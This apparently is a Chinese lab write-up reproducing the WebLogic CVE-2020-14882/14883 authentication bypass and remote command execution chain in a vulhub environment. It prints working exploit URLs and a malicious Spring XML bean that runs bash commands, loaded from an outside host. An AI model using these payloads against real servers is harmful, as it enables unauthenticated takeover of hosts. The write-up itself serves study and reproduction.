Weblogic 未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)

漏洞环境:
vulhub
漏洞复现:
CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

1.docker 开个环境:
在这里插入图片描述
2.使用payload绕过登录

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

在这里插入图片描述
3.第二个漏洞,CVE-2020-14883,有两种利用方式,一种是通过com.tangosol.coherence.mvel2.sh.ShellSession,一种是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
第一种
payload:http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/wa1ki0g1');")
成功执行:
在这里插入图片描述
注:这种利用方法只能在Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession。

第二种:
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 是一种更常见的漏洞利用,它首先在 CVE-2019-2725 中引入,可用于任何 Weblogic 版本。

要利用FileSystemXmlApplicationContext,您需要制作一个精心制作的 XML 文件并将其提供在 Weblogic 可以访问的服务器上。
xmlpayload:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/wa1ki0g2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过以下 URL,Weblogic 将加载此 XML 并执行其中的命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://121.41.55.60/flag.xml”)

利用成功:
在这里插入图片描述

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐